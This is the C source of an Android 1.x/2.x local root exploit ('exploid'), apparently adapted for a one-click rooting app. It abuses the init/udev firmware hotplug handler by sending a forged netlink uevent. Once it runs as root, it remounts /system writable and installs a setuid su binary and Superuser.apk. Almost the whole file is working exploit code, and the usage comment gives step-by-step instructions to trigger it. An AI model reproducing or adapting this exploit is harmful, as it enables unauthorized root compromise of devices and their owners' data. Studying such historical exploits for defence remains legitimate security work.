151 lines
No EOL
3.9 KiB
C
151 lines
No EOL
3.9 KiB
C
/* android 1.x/2.x the real youdev feat. init local root exploit.
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* (C) 2009/2010 by The Android Exploid Crew.
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*
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* Copy from sdcard to /sqlite_stmt_journals/exploid, chmod 0755 and run.
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* Or use /data/local/tmp if available (thx to ioerror!) It is important to
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* to use /sqlite_stmt_journals directory if available.
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* Then try to invoke hotplug by clicking Settings->Wireless->{Airplane,WiFi etc}
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* or use USB keys etc. This will invoke hotplug which is actually
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* our exploit making /system/bin/rootshell.
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* This exploit requires /etc/firmware directory, e.g. it will
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* run on real devices and not inside the emulator.
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* I'd like to have this exploitet by using the same blockdevice trick
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* as in udev, but internal structures only allow world writable char
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* devices, not block devices, so I used the firmware subsystem.
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*
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* !!!This is PoC code for educational purposes only!!!
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* If you run it, it might crash your device and make it unusable!
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* So you use it at your own risk!
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*
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* Thx to all the TAEC supporters.
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*/
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#include <stdio.h>
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#include <sys/socket.h>
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#include <sys/types.h>
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#include <linux/netlink.h>
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#include <fcntl.h>
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#include <errno.h>
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#include <stdlib.h>
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#include <string.h>
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#include <string.h>
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#include <unistd.h>
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#include <sys/stat.h>
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#include <signal.h>
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#include <sys/mount.h>
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#define SECRET "secretlol"
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void die(const char *msg)
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{
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perror(msg);
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exit(errno);
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}
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void copy(const char *from, const char *to)
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{
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int fd1, fd2;
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char buf[0x1000];
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ssize_t r = 0;
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if ((fd1 = open(from, O_RDONLY)) < 0)
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die("[-] open");
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if ((fd2 = open(to, O_RDWR|O_CREAT|O_TRUNC, 0600)) < 0)
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die("[-] open");
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for (;;) {
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r = read(fd1, buf, sizeof(buf));
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if (r < 0)
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die("[-] read");
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if (r == 0)
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break;
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if (write(fd2, buf, r) != r)
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die("[-] write");
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}
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close(fd1);
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close(fd2);
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sync(); sync();
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}
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void clear_hotplug()
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{
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int ofd = open("/proc/sys/kernel/hotplug", O_WRONLY|O_TRUNC);
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write(ofd, "", 1);
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close(ofd);
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}
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int main(int argc, char **argv, char **env)
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{
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char buf[512], path[512];
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int ofd;
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struct sockaddr_nl snl;
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struct iovec iov = {buf, sizeof(buf)};
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struct msghdr msg = {&snl, sizeof(snl), &iov, 1, NULL, 0, 0};
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int sock;
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char *basedir = NULL;
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/* I hope there is no LD_ bug in androids rtld :) */
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/*if (geteuid() == 0 && getuid() != 0)
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rootshell(env);*/
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if (readlink("/proc/self/exe", path, sizeof(path)) < 0)
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die("[-] readlink");
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if (geteuid() == 0) {
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clear_hotplug();
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/* remount /system rw */
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//DROID 1 and Ally
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//mount("/dev/block/mtdblock4", "/system", "yaffs2", MS_REMOUNT, 0);
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//DROID X
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//mount("/dev/block/mmcblk1p21", "/system", "ext3", MS_REMOUNT, 0);
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//GALAXY S
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mount("/dev/block/stl9","/system", "rfs", MS_REMOUNT, 0);
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//Eris and HTC Hero
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//mount("/dev/block/mtdblock3", "/system", "yaffs2", MS_REMOUNT, 0);
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//copy("/sdcard/su","/system/bin/su");
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//copy("/sdcard/Superuser.apk","/system/app/Superuser.apk");
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copy("/data/data/com.unstableapps.easyroot/files/su","/system/bin/su");
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copy("/data/data/com.unstableapps.easyroot/files/Superuser.apk","/system/app/Superuser.apk");
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chmod("/system/bin/su", 04755);
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chmod("/system/app/Superuser.apk", 04744);
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for (;;);
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}
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//basedir = "/sqlite_stmt_journals";
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basedir = "/data/data/com.unstableapps.easyroot/files";
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if (chdir(basedir) < 0) {
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basedir = "/data/local/tmp";
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if (chdir(basedir) < 0)
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basedir = strdup(getcwd(buf, sizeof(buf)));
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}
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memset(&snl, 0, sizeof(snl));
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snl.nl_pid = 1;
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snl.nl_family = AF_NETLINK;
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if ((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) < 0)
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die("[-] socket");
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close(creat("loading", 0666));
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if ((ofd = creat("hotplug", 0644)) < 0)
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die("[-] creat");
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if (write(ofd, path , strlen(path)) < 0)
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die("[-] write");
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close(ofd);
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symlink("/proc/sys/kernel/hotplug", "data");
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snprintf(buf, sizeof(buf), "ACTION=add%cDEVPATH=/..%s%c"
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"SUBSYSTEM=firmware%c"
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"FIRMWARE=../../..%s/hotplug%c", 0, basedir, 0, 0, basedir, 0);
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printf("[+] sending add message ...\n");
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if (sendmsg(sock, &msg, 0) < 0)
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die("[-] sendmsg");
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close(sock);
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sleep(3);
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return 0;
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} |